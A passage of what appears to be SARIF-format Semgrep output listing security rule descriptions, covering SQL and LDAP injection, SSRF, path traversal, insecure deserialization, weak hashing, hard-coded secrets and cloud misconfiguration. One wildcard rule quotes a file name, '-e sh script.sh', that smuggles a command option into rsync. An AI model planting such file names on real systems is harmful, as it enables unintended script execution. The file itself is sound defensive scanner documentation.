Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"help":{"markdown":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected)\n - [https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt](https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)\n","text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","id":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","name":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","properties":{"precision":"very-high","tags":["CWE-155: Improper Neutralization of Wildcards or Matching Symbols","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.system-wildcard-detected.system-wildcard-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"help":{"markdown":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse","id":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","name":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-fileresponse.request-data-fileresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","id":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","name":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","id":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","name":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","id":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","name":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","id":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","name":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"help":{"markdown":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","id":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","name":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint","id":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","name":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","id":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","name":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","id":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","name":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"help":{"markdown":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges)\n - [https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges","id":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","name":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.no-new-privileges.no-new-privileges"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"help":{"markdown":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","id":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","name":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","id":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","name":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using 